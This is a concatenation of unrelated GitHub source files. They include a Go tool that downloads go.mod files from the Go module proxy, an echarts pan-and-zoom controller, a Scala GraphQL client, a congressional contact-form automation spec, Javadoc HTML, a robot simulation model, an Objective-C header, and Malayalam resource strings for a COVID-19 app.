StateImage m_railStateImage;
nbase::WeakCallbackFlag m_weakFlagOwner;
};
}
#endif // UI_CONTROL_SCROLLBAR_H_
|
{
"pile_set_name": "Github"
}
|
package main
import (
"encoding/json"
"fmt"
"io"
"io/ioutil"
"log"
"net/http"
"os"
"path"
"path/filepath"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/google/renameio"
"github.com/rogpeppe/go-internal/modfile"
"golang.org/x/mod/module"
)
/*
Q: which versions of our module are being used
A: find the latest version of every Go module, find the dependency on our module
Q: what modules have stopped using our module
A: find every module where a version [0..N) uses us, but version N doesn't.
*/
func Fetch(since time.Time) ([]module.Version, time.Time, error) {
var out []module.Version
for {
out2, since2, err := fetch(since, out)
if err != nil {
return nil, since, err
}
if len(out) == len(out2) {
break
}
out = out2
since = since2
}
return out, since, nil
}
func fetch(since time.Time, out []module.Version) ([]module.Version, time.Time, error) {
// +1µs because of bug in index.golang.org that returns results
// >=since instead of >since
ts := since.Add(1 * time.Microsecond)
u := `https://index.golang.org/index?since=` + ts.Format(time.RFC3339Nano)
resp, err := http.Get(u)
if err != nil {
return nil, since, err
}
defer resp.Body.Close()
dec := json.NewDecoder(resp.Body)
var entry struct {
module.Version
Timestamp time.Time
}
for {
if err := dec.Decode(&entry); err != nil {
if err == io.EOF {
break
}
return out, since, err
}
out = append(out, entry.Version)
since = entry.Timestamp
}
return out, since, nil
}
func main() {
cache, err := os.UserCacheDir()
if err != nil {
log.Fatal(err)
}
var since time.Time
b, err := ioutil.ReadFile(filepath.Join(cache, "go-module-query", "last"))
if err == nil {
t, err := time.Parse(time.RFC3339Nano, string(b))
if err != nil {
log.Fatal(err)
}
since = t
log.Println("Resuming at", since)
} else if !os.IsNotExist(err) {
log.Fatal(err)
}
out, since, err := Fetch(since)
if err != nil {
log.Fatal(err)
}
sem := make(chan struct{}, 8)
var wg sync.WaitGroup
var errs uint64
for _, v := range out {
mpath, _ := module.EscapePath(v.Path)
p := filepath.Join(cache, "go-module-query", mpath, "@v", v.Version+".mod")
// XXX is this atomic?
if err := os.MkdirAll(filepath.Join(cache, "go-module-query", mpath, "@v"), 0777); err != nil {
log.Println(err)
continue
}
if _, err := os.Stat(p); os.IsNotExist(err) {
fmt.Println("Fetching", v)
sem <- struct{}{}
wg.Add(1)
go func(p string, v module.Version) {
defer wg.Done()
defer func() { <-sem }()
resp, err := http.Get("https://proxy.golang.org/" + path.Join(mpath, "@v", v.Version+".mod"))
if err != nil {
atomic.AddUint64(&errs, 1)
log.Println(err)
return
}
defer resp.Body.Close()
// XXX handle response code
pf, err := renameio.TempFile("", p)
if err != nil {
atomic.AddUint64(&errs, 1)
log.Println(err)
return
}
defer pf.Cleanup()
if _, err := io.Copy(pf, resp.Body); err != nil {
atomic.AddUint64(&errs, 1)
log.Println(err)
return
}
if err := pf.CloseAtomicallyReplace(); err != nil {
atomic.AddUint64(&errs, 1)
log.Println("Couldn't store go.mod:", err)
}
}(p, v)
}
}
wg.Wait()
if errs > 0 {
log.Println("Couldn't download all go.mod, not storing timestamp")
return
}
if err := renameio.WriteFile(filepath.Join(cache, "go-module-query", "last"), []byte(since.Format(time.RFC3339Nano)), 0666); err != nil {
log.Println("Couldn't store timestamp:", err)
}
}
func printGraph() {
cache, err := os.UserCacheDir()
if err != nil {
log.Fatal(err)
}
filepath.Walk(filepath.Join(cache, "go-module-query"), func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
if strings.HasSuffix(path, ".mod") {
name := filepath.Base(path)
name = name[:len(name)-4]
b, err := ioutil.ReadFile(path)
if err != nil {
log.Println(err)
return nil
}
f, err := modfile.Parse(path, b, nil)
if err != nil {
log.Println(err)
return nil
}
f.Module.Mod.Version = name
for _, dep := range f.Require {
fmt.Printf("%s@%s %s@%s\n", f.Module.Mod.Path, f.Module.Mod.Version, dep.Mod.Path, dep.Mod.Version)
}
}
return nil
})
}
|
{
"pile_set_name": "Github"
}
|
/**
* @module echarts/component/helper/RoamController
*/
define(function (require) {
var Eventful = require('zrender/mixin/Eventful');
var zrUtil = require('zrender/core/util');
var eventTool = require('zrender/core/event');
var interactionMutex = require('./interactionMutex');
function mousedown(e) {
if (e.target && e.target.draggable) {
return;
}
var x = e.offsetX;
var y = e.offsetY;
var rect = this.rect;
if (rect && rect.contain(x, y)) {
this._x = x;
this._y = y;
this._dragging = true;
}
}
function mousemove(e) {
if (!this._dragging) {
return;
}
eventTool.stop(e.event);
if (e.gestureEvent !== 'pinch') {
if (interactionMutex.isTaken('globalPan', this._zr)) {
return;
}
var x = e.offsetX;
var y = e.offsetY;
var dx = x - this._x;
var dy = y - this._y;
this._x = x;
this._y = y;
var target = this.target;
if (target) {
var pos = target.position;
pos[0] += dx;
pos[1] += dy;
target.dirty();
}
eventTool.stop(e.event);
this.trigger('pan', dx, dy);
}
}
function mouseup(e) {
this._dragging = false;
}
function mousewheel(e) {
eventTool.stop(e.event);
// Convenience:
// Mac and VM Windows on Mac: scroll up: zoom out.
// Windows: scroll up: zoom in.
var zoomDelta = e.wheelDelta > 0 ? 1.1 : 1 / 1.1;
zoom.call(this, e, zoomDelta, e.offsetX, e.offsetY);
}
function pinch(e) {
if (interactionMutex.isTaken('globalPan', this._zr)) {
return;
}
eventTool.stop(e.event);
var zoomDelta = e.pinchScale > 1 ? 1.1 : 1 / 1.1;
zoom.call(this, e, zoomDelta, e.pinchX, e.pinchY);
}
function zoom(e, zoomDelta, zoomX, zoomY) {
var rect = this.rect;
if (rect && rect.contain(zoomX, zoomY)) {
var target = this.target;
var zoomLimit = this.zoomLimit;
if (target) {
var pos = target.position;
var scale = target.scale;
var newZoom = this.zoom = this.zoom || 1;
newZoom *= zoomDelta;
if (zoomLimit) {
newZoom = Math.max(
Math.min(zoomLimit.max, newZoom),
zoomLimit.min
);
}
var zoomScale = newZoom / this.zoom;
this.zoom = newZoom;
// Keep the mouse center when scaling
pos[0] -= (zoomX - pos[0]) * (zoomScale - 1);
pos[1] -= (zoomY - pos[1]) * (zoomScale - 1);
scale[0] *= zoomScale;
scale[1] *= zoomScale;
target.dirty();
}
this.trigger('zoom', zoomDelta, zoomX, zoomY);
}
}
/**
* @alias module:echarts/component/helper/RoamController
* @constructor
* @mixin {module:zrender/mixin/Eventful}
*
* @param {module:zrender/zrender~ZRender} zr
* @param {module:zrender/Element} target
* @param {module:zrender/core/BoundingRect} rect
*/
function RoamController(zr, target, rect) {
/**
* @type {module:zrender/Element}
*/
this.target = target;
/**
* @type {module:zrender/core/BoundingRect}
*/
this.rect = rect;
/**
* { min: 1, max: 2 }
* @type {Object}
*/
this.zoomLimit;
/**
* @type {number}
*/
this.zoom;
/**
* @type {module:zrender}
*/
this._zr = zr;
// Avoid two roamController bind the same handler
var bind = zrUtil.bind;
var mousedownHandler = bind(mousedown, this);
var mousemoveHandler = bind(mousemove, this);
var mouseupHandler = bind(mouseup, this);
var mousewheelHandler = bind(mousewheel, this);
var pinchHandler = bind(pinch, this);
Eventful.call(this);
/**
* Notice: only enable needed types. For example, if 'zoom'
* is not needed, 'zoom' should not be enabled, otherwise
* default mousewheel behaviour (scroll page) will be disabled.
*
* @param {boolean|string} [controlType=true] Specify the control type,
* which can be null/undefined or true/false
* or 'pan/move' or 'zoom'/'scale'
*/
this.enable = function (controlType) {
// Disable previous first
this.disable();
if (controlType == null) {
controlType = true;
}
if (controlType === true || (controlType === 'move' || controlType === 'pan')) {
zr.on('mousedown', mousedownHandler);
zr.on('mousemove', mousemoveHandler);
zr.on('mouseup', mouseupHandler);
}
if (controlType === true || (controlType === 'scale' || controlType === 'zoom')) {
zr.on('mousewheel', mousewheelHandler);
zr.on('pinch', pinchHandler);
}
};
this.disable = function () {
zr.off('mousedown', mousedownHandler);
zr.off('mousemove', mousemoveHandler);
zr.off('mouseup', mouseupHandler);
zr.off('mousewheel', mousewheelHandler);
zr.off('pinch', pinchHandler);
};
this.dispose = this.disable;
this.isDragging = function () {
return this._dragging;
};
this.isPinching = function () {
return this._pinching;
};
}
zrUtil.mixin(RoamController, Eventful);
return RoamController;
});
|
{
"pile_set_name": "Github"
}
|
package caliban.client
import caliban.client.CalibanClientError.DecodingError
import caliban.client.FieldBuilder._
import caliban.client.SelectionBuilder._
import caliban.client.Operations._
import caliban.client.Value._
object Client {
sealed trait Origin extends scala.Product with scala.Serializable
object Origin {
case object BELT extends Origin
case object EARTH extends Origin
case object MARS extends Origin
implicit val decoder: ScalarDecoder[Origin] = {
case StringValue("BELT") => Right(Origin.BELT)
case StringValue("EARTH") => Right(Origin.EARTH)
case StringValue("MARS") => Right(Origin.MARS)
case other => Left(DecodingError(s"Can't build Origin from input $other"))
}
implicit val encoder: ArgEncoder[Origin] = new ArgEncoder[Origin] {
override def encode(value: Origin): Value = value match {
case Origin.BELT => EnumValue("BELT")
case Origin.EARTH => EnumValue("EARTH")
case Origin.MARS => EnumValue("MARS")
}
override def typeName: String = "Origin"
}
}
type Engineer
object Engineer {
def shipName: SelectionBuilder[Engineer, String] = Field("shipName", Scalar())
}
type Character
object Character {
def name: SelectionBuilder[Character, String] = Field("name", Scalar())
def nicknames: SelectionBuilder[Character, List[String]] = Field("nicknames", ListOf(Scalar()))
def origin: SelectionBuilder[Character, Origin] = Field("origin", Scalar())
def role[A](
onCaptain: SelectionBuilder[Captain, A],
onEngineer: SelectionBuilder[Engineer, A],
onMechanic: SelectionBuilder[Mechanic, A],
onPilot: SelectionBuilder[Pilot, A]
): SelectionBuilder[Character, Option[A]] =
Field(
"role",
OptionOf(
ChoiceOf(
Map(
"Captain" -> Obj(onCaptain),
"Engineer" -> Obj(onEngineer),
"Mechanic" -> Obj(onMechanic),
"Pilot" -> Obj(onPilot)
)
)
)
)
}
type Pilot
object Pilot {
def shipName: SelectionBuilder[Pilot, String] = Field("shipName", Scalar())
}
type Mechanic
object Mechanic {
def shipName: SelectionBuilder[Mechanic, String] = Field("shipName", Scalar())
}
type Captain
object Captain {
def shipName: SelectionBuilder[Captain, String] = Field("shipName", Scalar())
}
type Queries = RootQuery
object Queries {
def characters[A](
origin: Option[Origin] = None
)(innerSelection: SelectionBuilder[Character, A]): SelectionBuilder[RootQuery, List[A]] =
Field("characters", ListOf(Obj(innerSelection)), arguments = List(Argument("origin", origin)))
def character[A](
name: String
)(innerSelection: SelectionBuilder[Character, A]): SelectionBuilder[RootQuery, Option[A]] =
Field("character", OptionOf(Obj(innerSelection)), arguments = List(Argument("name", name)))
}
type Mutations = RootMutation
object Mutations {
def deleteCharacter(name: String): SelectionBuilder[RootMutation, Boolean] =
Field("deleteCharacter", Scalar(), arguments = List(Argument("name", name)))
}
}
|
{
"pile_set_name": "Github"
}
|
bioguide: W000797
contact_form:
method: post
action: /email-me/
steps:
- visit: "https://wassermanschultz.house.gov/email-me"
- find:
- selector: "#zipcode"
- fill_in:
- name: zipcode
selector: "#zipcode"
value: $ADDRESS_ZIP5
required: true
- name: zipfour
selector: "#zipfour"
value: $ADDRESS_ZIP4
required: true
- click_on:
- value: Go to Form
selector: input.button
- find:
- selector: "#req_firstname"
- fill_in:
- name: firstname
selector: "#req_firstname"
value: $NAME_FIRST
required: true
- name: lastname
selector: "#req_lastname"
value: $NAME_LAST
required: true
- name: street
selector: "#req_street"
value: $ADDRESS_STREET
required: true
- name: street2
selector: "#address2"
value: $ADDRESS_STREET_2
required: false
- name: city
selector: "#req_city"
value: $ADDRESS_CITY
required: true
- name: zipcode
selector: "#req_zip"
value: $ADDRESS_ZIP5
required: true
- name: emailaddress
selector: "#req_email"
value: $EMAIL
required: true
- name: phone
selector: "#phone"
value: $PHONE
required: false
- name: message
selector: "#req_message"
value: $MESSAGE
required: true
- select:
- name: prefix
selector: "#prefix"
value: $NAME_PREFIX
required: true
options:
Mr.: "Mr. "
Mrs.: Mrs.
Ms.: Ms.
Miss: Miss
Dr.: Dr.
Hon.: Hon.
Rev.: Rev.
Rabbi: Rabbi
Other: Other
- name: state
selector: "#req_state"
value: $ADDRESS_STATE_POSTAL_ABBREV
required: true
options:
- AK
- AL
- AR
- AZ
- CA
- CO
- CT
- DC
- DE
- FL
- GA
- HI
- IA
- ID
- IL
- IN
- KS
- KY
- LA
- MA
- MD
- ME
- MI
- MN
- MO
- MS
- MT
- NC
- ND
- NE
- NH
- NJ
- NM
- NV
- NY
- OH
- OK
- OR
- PA
- PR
- RI
- SC
- SD
- TS
- TX
- UT
- VA
- VT
- WA
- WI
- WV
- WY
- name: issue
selector: "#req_issue"
value: $TOPIC
required: true
options:
Agriculture: AG
Animal Welfare: AN
Arts: ART
Budget: BUD
Consumer Protection: CP
Defense and Military: DEF
Economy/Jobs: ECON
Education: ED
Energy: EN
Environment: ENV
Foreign Affairs: FR
Gun Laws: GL
Help with a Federal Agency: CW
Health Care: HC
Housing: HUD
Hurricanes/FEMA: FEMA-HURR
Immigration: IM
Israel: ISR
Judiciary/Civil Rights: JUD
Labor: LAB
LGBT: LGBT
Seniors/Social Security/Medicare: SN
Taxes: TAX
Technology/Telecom: TECH
Veterans: VET
"Women's Issues": WOM
Other: OT
- javascript:
- value: document.querySelector("#req_message").value = document.querySelector("#req_message").value.replace(/"/g, '');
- click_on:
- value: Send Email
selector: "#submitButton"
- find:
- selector: "h1"
value: "THANK YOU"
success:
headers:
status: 200
body:
contains: successfully submitted
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (version 1.7.0_10) on Sun Jun 02 21:40:21 BST 2013 -->
<title>Uses of Class propel.core.validation.propertyMetadata.PathPropertyMetadata</title>
<meta name="date" content="2013-06-02">
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Uses of Class propel.core.validation.propertyMetadata.PathPropertyMetadata";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../../../../propel/core/validation/propertyMetadata/PathPropertyMetadata.html" title="class in propel.core.validation.propertyMetadata">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-files/index-1.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?propel/core/validation/propertyMetadata/class-use/PathPropertyMetadata.html" target="_top">Frames</a></li>
<li><a href="PathPropertyMetadata.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<div class="header">
<h2 title="Uses of Class propel.core.validation.propertyMetadata.PathPropertyMetadata" class="title">Uses of Class<br>propel.core.validation.propertyMetadata.PathPropertyMetadata</h2>
</div>
<div class="classUseContainer">No usage of propel.core.validation.propertyMetadata.PathPropertyMetadata</div>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../../../../propel/core/validation/propertyMetadata/PathPropertyMetadata.html" title="class in propel.core.validation.propertyMetadata">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-files/index-1.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?propel/core/validation/propertyMetadata/class-use/PathPropertyMetadata.html" target="_top">Frames</a></li>
<li><a href="PathPropertyMetadata.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" ?>
<sdf version="1.5">
<model name="Big box 4">
<pose>0 0 0.625 0 0 0</pose>
<static>false</static>
<link name="link">
<inertial>
<mass>40.0</mass>
<inertia>
<ixx>1</ixx>
<ixy>0</ixy>
<ixz>0</ixz>
<iyy>1</iyy>
<iyz>0</iyz>
<izz>1</izz>
</inertia>
</inertial>
<collision name="collision">
<geometry>
<box>
<size>1.20 0.80 1.25</size>
</box>
</geometry>
<surface>
<contact>
<ode>
<max_vel>0.1</max_vel>
<min_depth>0.001</min_depth>
</ode>
</contact>
</surface>
</collision>
<visual name="visual">
<geometry>
<mesh>
<uri>model://big_box4/meshes/big_box.dae</uri>
</mesh>
</geometry>
</visual>
</link>
</model>
</sdf>
|
{
"pile_set_name": "Github"
}
|
//
// DTHTMLElement.h
// DTCoreText
//
// Created by Oliver Drobnik on 4/14/11.
// Copyright 2011 Drobnik.com. All rights reserved.
//
@class DTCoreTextParagraphStyle;
@class DTCoreTextFontDescriptor;
@class DTTextAttachment;
@class DTCSSListStyle;
#import "DTCompatibility.h"
#import "DTCoreTextConstants.h"
#import "DTHTMLParserNode.h"
#import "DTTextAttachment.h"
@class DTBreakHTMLElement;
/**
Class to represent a element (aka "tag") in a HTML document. Structure information - like parent or children - is inherited from its superclass <DTHTMLParserNode>.
*/
@interface DTHTMLElement : DTHTMLParserNode
{
DTCoreTextFontDescriptor *_fontDescriptor;
DTCoreTextParagraphStyle *_paragraphStyle;
DTTextAttachment *_textAttachment;
DTTextAttachmentVerticalAlignment _textAttachmentAlignment;
NSURL *_link;
NSString *_anchorName;
DTColor *_textColor;
DTColor *_backgroundColor;
DTColor *_backgroundStrokeColor;
CGFloat _backgroundStrokeWidth;
CGFloat _backgroundCornerRadius;
CTUnderlineStyle _underlineStyle;
NSString *_beforeContent;
NSString *_linkGUID;
BOOL _strikeOut;
NSInteger _superscriptStyle;
NSInteger _headerLevel;
NSArray *_shadows;
DTHTMLElementDisplayStyle _displayStyle;
DTHTMLElementFloatStyle _floatStyle;
BOOL _isColorInherited;
BOOL _preserveNewlines;
BOOL _containsAppleConvertedSpace;
DTHTMLElementFontVariant _fontVariant;
CGFloat _textScale;
CGSize _size;
NSMutableArray *_children;
NSDictionary *_styles;
BOOL _didOutput;
// margins/padding
DTEdgeInsets _margins;
DTEdgeInsets _padding;
// indent of lists
CGFloat _listIndent;
BOOL _shouldProcessCustomHTMLAttributes;
}
/**
@name Creating HTML Elements
*/
/**
Designed initializer, creates the appropriate element sub type
@param name The element name
@param attributes The attributes dictionary of the tag
@param options The parsing options dictionary
@returns the initialized element
*/
+ (DTHTMLElement *)elementWithName:(NSString *)name attributes:(NSDictionary *)attributes options:(NSDictionary *)options;
/**
@name Creating Attributed Strings
*/
/**
Creates an `NSAttributedString` that represents the receiver including all its children. This method is typically overwritten in subclasses of <DTHTMLElement> that respresent specific HTML elements.
@returns An attributed string that also contains the children
*/
- (NSAttributedString *)attributedString;
/**
The dictionary of Core Text attributes for creating an `NSAttributedString` representation for the receiver
@returns The dictionary of attributes
*/
- (NSDictionary *)attributesForAttributedStringRepresentation;
/**
Creates a <DTCSSListStyle> to match the CSS styles
*/
- (DTCSSListStyle *)listStyle;
/**
@name Getting Element Information
*/
/**
Font Descriptor describing the font state of the receiver
*/
@property (nonatomic, copy) DTCoreTextFontDescriptor *fontDescriptor;
/**
Paragraph Style describing the paragraph state of the receiver
*/
@property (nonatomic, copy) DTCoreTextParagraphStyle *paragraphStyle;
/**
Text Attachment of the receiver, or `nil` if there is no attachment
*/
@property (nonatomic, strong) DTTextAttachment *textAttachment;
/**
Hyperlink URL of the receiver, or `nil` if there is no hyperlink
*/
@property (nonatomic, copy) NSURL *link;
/**
Anchor name, used by hyperlinks, of the receiver that can be used to scroll to.
*/
@property (nonatomic, copy) NSString *anchorName;
/**
Foreground text color of the receiver
*/
@property (nonatomic, strong) DTColor *textColor;
/**
Background color of text in the receiver
*/
@property (nonatomic, strong) DTColor *backgroundColor;
/**
Background stroke color in the receiver
*/
@property (nonatomic, strong) DTColor *backgroundStrokeColor;
/**
Background stroke width in the receiver
*/
@property (nonatomic, assign) CGFloat backgroundStrokeWidth;
/**
Background stroke width in the receiver
*/
@property (nonatomic, assign) CGFloat backgroundCornerRadius;
/**
The custom letter spacing of the receiver, default is 0px
*/
@property (nonatomic, assign) CGFloat letterSpacing;
/**
Additional text to be inserted before the text content of the receiver
*/
@property (nonatomic, copy) NSString *beforeContent;
/**
Array of shadows attached to the text contents of the receiver
*/
@property (nonatomic, copy) NSArray *shadows;
/**
The underline style of the receiver, at present only none or single line are supported
*/
@property (nonatomic, assign) CTUnderlineStyle underlineStyle;
/**
The strike-out style of the receiver
*/
@property (nonatomic, assign) BOOL strikeOut;
/**
The superscript style of the receiver or 0 if it does not have superscript text.
*/
@property (nonatomic, assign) NSInteger superscriptStyle;
/**
The header level of the receiver, or 0 if it is not a header
*/
@property (nonatomic, assign) NSInteger headerLevel;
/**
The display style of the receiver.
*/
@property (nonatomic, assign) DTHTMLElementDisplayStyle displayStyle;
/**
Whether the receiver is marked as float. While floating is not currently supported this can be used to add additional paragraph breaks.
*/
@property (nonatomic, readonly) DTHTMLElementFloatStyle floatStyle;
/**
Specifies that the textColor was inherited. Assigning textColor sets this flag to `NO`
*/
@property (nonatomic, assign) BOOL isColorInherited;
/**
Specifies that whitespace and new lines should be preserved. Default is to compress white space.
*/
@property (nonatomic, assign) BOOL preserveNewlines;
/**
The current font variant of the receiver, normal or small caps.
*/
@property (nonatomic, assign) DTHTMLElementFontVariant fontVariant;
/**
The current unscaled font size (used when inheriting font size). You're probably looking for fontDescriptor.pointSize.
*/
@property (nonatomic, assign) CGFloat currentTextSize;
/**
The scale by which all fonts are scaled
*/
@property (nonatomic, assign) CGFloat textScale;
/**
The size of the receiver, either from width/height attributes or width/hight styles.
*/
@property (nonatomic, assign) CGSize size;
/**
The value of the CSS margins. Margin support is incomplete.
*/
@property (nonatomic, assign) DTEdgeInsets margins;
/** The value of the CSS padding. Padding are added to DTTextBlock instances for block-level elements.
*/
@property (nonatomic, assign) DTEdgeInsets padding;
/**
Specifies that whitespace contained in the receiver's text has been converted with Apple's algorithm.
*/
@property (nonatomic, assign) BOOL containsAppleConvertedSpace;
/**
Prevents adding custom HTML attributes to output
*/
@property (nonatomic, assign) BOOL shouldProcessCustomHTMLAttributes;
/**
@name Working with HTML Attributes
*/
/**
Retrieves an attribute with a given key
@param key The attribute name to retrieve
@returns the attribute string
*/
- (NSString *)attributeForKey:(NSString *)key;
/**
Copies and inherits relevant attributes from the given parent element
@param element The element to inherit attributes from
*/
- (void)inheritAttributesFromElement:(DTHTMLElement *)element;
/**
Interprets the tag attributes for e.g. writing direction. Usually you would call this after inheritAttributesFromElement:.
*/
- (void)interpretAttributes;
/**
The HTML attributes that should be attached to the generated attributed string. Typically all attributes that were processed by -interpretAttributes are in this list. All other attributes get added to the generated attributed string with the DTCustomAttributesAttribute key.
*/
+ (NSSet *)attributesToIgnoreForCustomAttributesAttribute;
/**
The CSS class names that are not to be added to the "class" custom attribute in the DTCustomAttributesAttribute key. Those are usually the class names
*/
@property(nonatomic, strong) NSSet *CSSClassNamesToIgnoreForCustomAttributes;
/**
@name Working with CSS Styles
*/
/**
Applies the style information contained in a styles dictionary to the receiver
@param styles A style dictionary
*/
- (void)applyStyleDictionary:(NSDictionary *)styles;
/**
@name HTML Node Hierarchy
*/
/**
Returns the parent element. That's the same as the parent node but with adjusted type for convenience.
*/
- (DTHTMLElement *)parentElement;
/**
@name Output State (Internal)
*/
/**
Internal state during string building to mark the receiver als having been flushed
*/
@property (nonatomic, assign) BOOL didOutput;
/**
Internal method that determins if this element still requires output, based on its own didOutput state and the didOutput state of its children
@returns `YES` if it still requires output
*/
- (BOOL)needsOutput;
@end
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<root>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="ButtonAgree" xml:space="preserve">
<value>അംഗീകരിക്കുക</value>
</data>
<data name="HomePageTitle" xml:space="preserve">
<value>ഹോം</value>
<comment>Home Title</comment>
</data>
<data name="AppName" xml:space="preserve">
<value>COVID-19Radar</value>
<comment>App Name</comment>
</data>
<data name="TitleLicenseAgreement" xml:space="preserve">
<value>ലൈസൻസ് ഉടമ്പടി</value>
<comment>ライセンス</comment>
</data>
<data name="UrlPrivacyPolicy" xml:space="preserve">
<value>https://covid19radar.z11.web.core.windows.net/sample_pp.html</value>
<comment>Policy</comment>
</data>
<data name="TitileUserStatusSettings" xml:space="preserve">
<value>സ്റ്റാറ്റസ് സജ്ജീകരണങ്ങള്</value>
<comment>User Status Page Title</comment>
</data>
<data name="DialogNetworkConnectionError" xml:space="preserve">
<value>നിങ്ങളുടെ നെറ്റ് വർക്ക് കണക്ഷൻ പരിശോധിക്കുക.</value>
<comment>電波状況の良い場所でもう一度お試しください。</comment>
</data>
<data name="ButtonOk" xml:space="preserve">
<value>ശരി</value>
</data>
<data name="ButtonNotNow" xml:space="preserve">
<value>ഇപ്പോൾ നോട്ടൗട്ട്</value>
</data>
<data name="MainExposures" xml:space="preserve">
<value>Exposures</value>
<comment>Tab Button</comment>
</data>
<data name="NotifyOthersLearnMoreUrl" xml:space="preserve">
<value>https://github.com/Covid-19Radar/Covid19Radar</value>
<comment>Health care jurisdiction page</comment>
</data>
<data name="MainTutorial" xml:space="preserve">
<value>കരകൃതം</value>
<comment>Tab How to use</comment>
</data>
<data name="ExposuresPageNoExposures" xml:space="preserve">
<value>അറിയപ്പെടുന്ന അമ്പലങ്ങളില്ല</value>
<comment>If not found exposures data</comment>
</data>
<data name="ExposuresPageNoExposuresInfo" xml:space="preserve">
<value>പോസിറ്റീവ് കോവിഡ്-19 ഫലം റിപ്പോർട്ട് ചെയ്ത ഒരാളുമായി സമ്പർക്കമുണ്ടെങ്കിൽ നിങ്ങളെ അറിയിക്കും.</value>
<comment>exposures comment</comment>
</data>
<data name="NotifyOtherPageDialogExceptionText" xml:space="preserve">
<value>പിന്നീട് വീണ്ടും ശ്രമിക്കുക.</value>
</data>
<data name="ButtonFailed" xml:space="preserve">
<value>പരാജയപ്പെട്ടു</value>
</data>
<data name="NotifyOtherPageDialogSubmittedText" xml:space="preserve">
<value>രോഗനിർണ്ണയം സമർപ്പിച്ച</value>
</data>
<data name="ButtonComplete" xml:space="preserve">
<value>പൂർത്തിയാക്കുക</value>
</data>
<data name="LoadingTextSubmittingDiagnosis" xml:space="preserve">
<value>രോഗനിർണ്ണയം സമർപ്പിക്കുന്നത്...</value>
</data>
<data name="SettingsPageTitle" xml:space="preserve">
<value>ക്രമീകരണം</value>
<comment>アプリの設定</comment>
</data>
<data name="ButtonCancel" xml:space="preserve">
<value>റദ്ദാക്കുക</value>
</data>
<data name="LoadingTextDeleting" xml:space="preserve">
<value>ഇല്ലാതാക്കുന്നു</value>
</data>
<data name="HomePageHeader3Title" xml:space="preserve">
<value>ആപ്പ് പങ്കിടുക</value>
<comment>本アプリを広めましょう</comment>
</data>
<data name="ButtonShare" xml:space="preserve">
<value>പങ്കിടുക</value>
</data>
<data name="ButtonNotifyOtherPage" xml:space="preserve">
<value>മറ്റുള്ളവർക്ക് അനുകൂലമായ വിവരങ്ങളും അജ്ഞാത അറിയിപ്പും പങ്കിടൽ</value>
<comment>Button NotifyOtherPage</comment>
</data>
<data name="ButtonReset" xml:space="preserve">
<value>പുനഃസജ്ജീകരിക്കുക</value>
<comment>使用中止</comment>
</data>
<data name="PrivacyPolicyPageTitle" xml:space="preserve">
<value>സ്വകാര്യത നയം</value>
</data>
<data name="LoadingTextRegistering" xml:space="preserve">
<value>രജിസ്റ്റര് ചെയ്യുന്നതിനായി കാത്തിരിക്കുന്നു</value>
</data>
<data name="SettingsPageDialogResetText" xml:space="preserve">
